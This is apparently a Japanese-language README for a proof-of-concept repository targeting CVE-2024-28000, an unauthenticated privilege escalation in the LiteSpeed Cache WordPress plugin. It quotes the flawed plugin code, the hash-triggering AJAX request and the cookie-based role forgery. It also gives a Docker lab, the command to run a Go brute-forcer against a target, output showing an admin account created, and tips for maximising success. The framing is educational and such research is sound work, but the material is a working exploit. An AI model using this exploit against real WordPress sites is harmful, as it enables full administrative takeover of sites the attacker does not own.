
CVE-2024-28000 — Updated!
CVE-2024-28000 のハンズオン脆弱性検証ラボ — LiteSpeed Cache(WordPress プラグイン、<=6.3.0.1)における未認証の権限昇格。Docker で脆弱な環境を起動し、弱い mt_rand ハッシュを解読して管理者アカウントを作成する Go ベースのブルートフォーサーを含みます。
CVE-2024-28000 - LiteSpeed Cache 権限昇格 PoC
[!WARNING] このリポジトリは教育および研究目的のみを意図しています。
- 提供された PoC は、あなたが所有するシステム、またはテストに対する明示的な許可を得たシステムでのみ使用してください。
- このリポジトリ内のいかなる素材への不正アクセス、悪用、または誤用は違法です。
- 著者は、不適切な使用に起因するいかなる損害、誤用、または法的結果についても一切の責任を負いません。
概要
CVE-2024-28000 は、WordPress 用 LiteSpeed Cache プラグインに影響を与える重大な未認証の権限昇格脆弱性です。この脆弱性は、プラグインのクローラーロールシミュレーション機能における脆弱なハッシュベースの認証メカニズムに起因し、完全に未認証の攻撃者が WordPress 管理者になりすまし、サイトを完全に制御できるようになります。
脆弱性の仕組み
LiteSpeed Cache プラグインには、異なるユーザーロールとしてページを訪問することでサイトキャッシュを事前にウォームアップするクローラーが含まれています。クローラーを認証するために、プラグインは短いハッシュを生成し、WordPress の options テーブルに保存します。このハッシュを Cookie で提示するリクエストには、2 つ目の Cookie で指定されたユーザーロールが付与されます。
3 つの設計上の欠陥が組み合わさって、これを悪用可能にしています:
欠陥 1 - 未認証のハッシュトリガー
ハッシュを生成する AJAX アクションは、ケイパビリティチェックも nonce チェックもなしに、未認証ユーザー向けに登録されています:
// src/router.cls.php
add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']);
public function async_litespeed_handler() {
// No capability check
// No nonce verification
// Any visitor can call this
$type = sanitize_key($_POST['litespeed_type'] ?? '');
if ($type === 'crawler') {
$hash = Str::rrand(6);
self::update_option(self::ITEM_HASH, $hash);
}
wp_die();
}
攻撃者は以下を送信することでこれをトリガーします:
POST /wp-admin/admin-ajax.php
action=async_litespeed&litespeed_type=crawler
欠陥 2 - 予測可能なハッシュ (シード空間はわずか 1,000,000)
ハッシュは、現在時刻のマイクロ秒成分をシードとした PHP の mt_rand() を使用して生成されます:
// src/str.cls.php
public static function rrand($len, $type = 7) {
mt_srand((int) ((float) microtime() * 1000000));
// seed = microseconds = 0 to 999,999 only
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = '';
for ($i = 0; $i < $len; $i++) {
$str .= $charlist[mt_rand(0, strlen($charlist) - 1)];
}
return $str;
}
microtime() は秒の小数部分のみを返します (例: 0.523847)。これに 1,000,000 を掛けると、時刻に関係なく 0 から 999,999 の間のシードが得られます。ハッシュ生成を自らトリガーした攻撃者は、おおよその生成時刻を把握しており、100 万通りのシードすべてを数分でブルートフォースできます。
欠陥 3 - 検証におけるレート制限の欠如
プラグインは、単純な文字列比較でリクエストごとにハッシュを検証し、ロックアウトやレート制限はありません:
// src/router.cls.php
public function is_role_simulation() {
if (empty($_COOKIE['litespeed_hash'])) return;
$hash = self::get_option(self::ITEM_HASH);
// Simple string compare - no rate limiting, no IP check, no lockout
if ($_COOKIE['litespeed_hash'] !== $hash) return;
$role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0;
wp_set_current_user($role_id); // attacker becomes admin (ID = 1)
}
攻撃フロー全体
sequenceDiagram
participant A as Attacker
participant W as LiteSpeed Cache / WordPress
A->>W: POST /wp-admin/admin-ajax.php
W->>W: Seed mt_rand() with microtime()
W->>W: Generate & store litespeed_hash
A->>A: Brute-force PRNG seed
A->>A: Replicate PHP mt_rand() in Go
A->>A: Recover litespeed_hash
A->>W: Cookie: litespeed_hash=<recovered_hash>
A->>W: Cookie: litespeed_role=1
W->>W: verify_hash()
W->>W: wp_set_current_user(1)
A->>W: POST /index.php?rest_route=/wp/v2/users
W-->>A: Administrator account created
A->>W: Login with new Administrator account
Note over A,W: Full Site Compromise
ラボのセットアップ
要件
- Docker
- Go 1.21+
インストール
# Clone the repository
git clone https://github.com/AliHzSec/CVE-2024-28000.git
# Change directory
cd CVE-2024-28000
# Set your server IP ( replace with YOUR_ACTUAL_IP ):
sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml
# Build and start:
cd lab && docker compose up -d --build
# Watch setup progress:
docker compose logs -f wordpress
以下が表示されるまで待ちます:
============================================================
Lab ready!
Admin : http://YOUR_IP/wp-admin
Login : admin / admin123
Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000)
============================================================
使用方法
エクスプロイトの実行
cd expl && go run main.go -url http://TARGET_IP/ -threads 40
想定される出力
============================================================
CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC
============================================================
Target : https://TARGET_IP/
Seeds : 0 to 999999 (1000000 total)
Threads : 40
Timeout : 5s
============================================================
[INF] Self-test passed - MT19937 output matches PHP (11 seeds verified)
[INF] Sanity check passed - endpoint returns 401 for wrong hash
[INF] Hash generation triggered successfully
[INF] Waiting 1 second for hash to be stored...
[INF] Starting brute-force with 40 threads...
[INF] [Thread 5] Testing seed 100000
[INF] [Thread 7] Testing seed 150000
[INF] [Thread 9] Testing seed 200000
[INF] [Thread 3] Testing seed 50000
[INF] [Thread 27] Testing seed 650000
[INF] [Thread 25] Testing seed 600000
[INF] [Thread 11] Testing seed 250000
[INF] [Thread 21] Testing seed 500000
[INF] [Thread 17] Testing seed 400000
[INF] [Thread 19] Testing seed 450000
[INF] [Thread 13] Testing seed 300000
[INF] [Thread 31] Testing seed 750000
[INF] [Thread 15] Testing seed 350000
[INF] [Thread 1] Testing seed 0
[INF] [Thread 33] Testing seed 800000
[INF] [Thread 23] Testing seed 550000
[INF] [Thread 37] Testing seed 900000
[INF] [Thread 39] Testing seed 950000
[INF] [Thread 35] Testing seed 850000
[INF] [Thread 29] Testing seed 700000
[+] Hash cracked : 2M0Aty (seed: 554242)
[+] Username : test_lab_user
[+] Password : test_lab_pass
[+] Login at : https://TARGET_IP/wp-login.php
[INF] Completed in 2831.14s
[!IMPORTANT] ハッシュには有効期限はありませんが、LiteSpeed の組み込みクローラーによって再生成される可能性があります。
- クローラーがアクティブな場合 (デフォルト間隔: 10 分ごと)、データベースに保存されたハッシュは自動的に置き換えられます。これにより、古いハッシュのシードをテストしているブルートフォースは失敗します。
- クローラーが無効な場合、ハッシュは無期限に保持され、スレッド数は速度にのみ影響し、成功率には影響しません。
- 成功率を最大化するには: ハッシュ生成をトリガーし、直ちにエクスプロイトを実行してください。ターゲットが処理できるだけのスレッド数を使用します。
- 攻撃中にハッシュがローテーションされた兆候: 起動時のサニティチェックが成功したにもかかわらず、1,000,000 通りのシードすべてを使い果たしても結果が得られない場合。